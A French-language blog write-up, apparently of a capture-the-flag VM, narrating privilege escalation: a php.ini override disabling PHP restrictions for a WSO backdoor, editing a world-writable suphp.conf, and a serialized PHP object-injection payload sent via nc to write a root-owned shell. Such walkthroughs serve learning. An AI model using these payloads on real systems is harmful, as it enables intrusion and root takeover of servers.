Alors là, passer de l'utilisateur "errorlevel" que j'avais trouvé pendant l'exploitation de l'injection sql au nom de domaine "signal8.darknet.com" me semble impossible .. je n'aurais jamais trouvé.

L'analyse des droits d'accès sur "/home/devnull" me permet aussi de voir que j'ai eu de la chance de trouver le répertoire "img" pour envoyer mon code PHP car il s'agit du seul répertoire accessible en écriture et que sans ce répertoire j'étais condamnée à tenter d'écraser le fichier "index.php" ou le fichier "main.php" ..

[Interlude : je lis de la documentation sur PHP :-)]

Et après quelques heures à lire de la documentation sur toutes ces fonctions désactivées qui me gènent, le premier test que j'ai envie de faire est tout simplement d'uploader le fichier "php.ini" suivant dans le répertoire "/home/devnull/public_html/img/" puis de recharger ma backdoor WSO .. Apparement, la générale de PHP pourraît être surchargée par cette déclaration locale et je pourrais être en mesure de récupérer un shell plus "complet" :
safe_mode=OFF
disable_functions=NONE
safe_mode_gid=OFF
open_basedir=OFF
Je teste. Et il s'avère que c'était la bonne solution, la fonctionnalité "Server Security Information" de ma backdoor WSO est désormais totalement opérationnelle et ceci sans restrictions open_basedir :)


 _mon_ premier shell WSO (reloaded)


Maintenant que mon shell n'est plus restreint, que puis-je faire pour aller obtenir le contenu du fichier "/root/flag.txt" ? Utilisons un peu les fonctions offertes par notre backdoor WSO pour nous promener sur le système :
  • le répertoire "/root/" m'est interdit ;
  • le répertoire "/home/errorlevel/" m'est interdit ;
  • je ne vois à priori pas de fichier suid ou sgid anormaux au premier coup d'oeil et qui me seraient accessibles ;
  • Ho ho ho, dans la liste des fichiers/répertoires accessibles en écriture pour mon utilisateur se trouve le fichiers "suphp.conf" !
46461    4 -rwxrwxrwx   1 root     root          869 Apr 26 13:24 /etc/suphp/suphp.conf

et après avoir lu plusieurs fois la documentation située sur http://www.suphp.org/DocumentationView.html?file=CONFIG, je comprend qu'il me faudrait un programme :
  • dont le propriétaire serait root ;
  • qui serait situé dans l'un des DocumentRoot servi par mon serveur web.
.. et que j'ai intérêt à modifier de suite la configuration "suphp.conf" pour que "min_uid" et "min_gid" soient égales à 0 pour ne pas avoir chercher plus tard pourquoi ce que je souhaite faire ne fonctionne pas.

Me voilà donc partie à la recherche d'un script PHP dont le propriétaire serait l'utilisateur root, script que je trouve (comme par hasard :-p) à l'emplacement "/var/www/sec.php" et qui fait appel aux deux ressources que j'avais trouvées initialement dans le répertoire "/Classes/" sans avoir compris comment les utiliser :
/var/www/classes/Show.php
/var/www/classes/Test.php
Le fichier "/var/www/sec.php" appartenant à l'utilisateur root semble présenter une vulnérabilité me permettant du code sous mon contrôle à l'appel "unserialize" :
<?php
require "Classes/Test.php";
require "Classes/Show.php";
if(!empty($_POST['test'])){
    $d=$_POST['test'];
    $j=unserialize($d);
    echo $j;
}
?>
Le fichier de classe "/var/www/classes/Show.php" chargé par le script "sec.php" ne me semble pas présenter de vulnérabilité :
<?php
class Show {
    public $woot;
    function __toString(){ return "Showme"; }
    function Pwnme(){$this->woot="ROOT"; }
}
?>
Le fichier de classe "/var/www/classes/Test.php" chargé par le script "sec.php" me semble lui le fichier concerné par l'exploitation de la vulnérabilité de dé-sérialization (cela se dit vraiment ?) :
<?php
class Test {
    public $url;
    public $name_file;
    public $path;
    function __destruct(){
        $data=file_get_contents($this->url);
        $f=fopen($this->path."/".$this->name_file, "w");
        fwrite($f, $data);
        fclose($f);
        chmod($this->path."/".$this->name_file, 0644);
  }
}
?>
.. et devant tant de nouveaux horizons à conquérir, je ferme le pc, écoute ma nath chérie et vais dormir :-)

Jeudi on unserialize


Bach Orchestral suite numéro 3. Je pense que le contexte l'impose. Je sais déjà que laisser à l'utilisateur la capacité de faire un unserialize d'une variable sous son contrôle sans filtrage n'est pas une bonne idée.. mais comment exploiter ce type de vulnérabilité ?

Je cherche sur mon moteur de recherche préféré (ou toujours pas) et lis avec attention la page de l'OWASP sur le sujet (https://www.owasp.org/index.php/PHP_Object_Injection) qui semble traiter exactement de la vulnérabilité qui m'interesse et qui dans mon cas pourrait se résumer à :

  • j'ai un "__destruct()" qui va me permettre de donner l'url d'un fichier dont le contenu va être sauvegardé dans un fichier avec les permissions "644" et le tout sans aucun contrôle ;
  • je peux envoyer des données en POST dans une variable "test" qui va faire l'objet d'un "unserialize()" ;
  • le script "/var/www/sec.php" va être executé en tant que "root" par suphp car il appartient à "root" ;
  • l'exploitation de la vulnérabilité va me permettre d'écrire un script sous l'identité de "root" donc il faut que j'écrive mon fichier dans "/var/www/" ;
  • si j'écris un shell sous le propriétaire "root" et que je l'appelle, "suphp" me donnera un shell "root" ;

Bon cela me parait crystal clear comme dirait Nath :-) mais sur le coup j'ai vraiment l'impression de louper quelque chose car je ne comprend pas du tout à quoi peut me servir le fichier "Show.php".
Allons-y .. Si je comprends bien l'article de l'OWASP, je dois construire une requête du type : 
?test=O:4:"Test":3:{code} 
avec "code" qui me permet fixer trois variables : "url", "name_file" et "path"en spécifiant les valeurs suivantes :
s:4:"path";s:8:"/var/www";
s:9:"name_file";s:8:"root.php";
s:3:"url";s:37:"/home/devnull/public_html/img/wso.php"
donc ma requête devrait être :
http://Adresse_IP_VM/sec.php?test=O:4:"Test":3:{s:4:"path";s:8:"/var/www";s:9:"name_file";s:8:"root.php";s:3:"url";s:37:"/home/devnull/public_html/img/wso.php"}
non ?
Allez je me lance ..
et ca ne marche pas ..
bon qu'est ce qui cloche ?
10 minutes d'intense réflexion ..
Ha oui ! il faut que j'envoie cette requête en POST et pas en GET tete de linotte que je suis ..
nc Adresse_IP_VM 80
POST /sec.php HTTP/1.0
Host: Adresse_IP_VM
Content-Length: 131
Content-type: application/x-www-form-urlencoded
Connection: Close

test=O:4:"Test":3:{s:4:"path";s:8:"/var/www";s:9:"name_file";s:8:"root.php";s:3:"url";s:37:"/home/devnull/public_html/img/wso.php"}

HTTP/1.1 200 OK
Date: Thu, 11 Jun 2015 11:40:12 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.39-0+deb7u1
Vary: Accept-Encoding
Content-Length: 0
Connection: close
Content-Type: text/html

Pas de message d'erreur ? Game Over :-)


Conclusion


En conclusion j'ai adoré ce premier challenge. Comme l'avaient prévu le ou les auteurs, la frustration, la déception ou la surprise de ne pas être la hauteur, la recherche intensive d'information sur des sujets totalement inconnus, l'excitation d'avoir le clé d'une enigme et cette envie de chanter et de danser quand "ca marche" tout simplement.

Il m'aura fallu trois longues nuits, deux demi journées et une bonne vingtaine de café-versations pour parvenir à résoudre ce challenge mais en même temps :
Y a que les routes qui sont belles
Et peu importe où elles nous mènent
Oh belle, on ira, on suivra les étoiles et les chercheurs d'or
Si on en trouve, on cherchera encore
(Jean-Jacques Goldman - On ira)
Jess - @JessicaGallante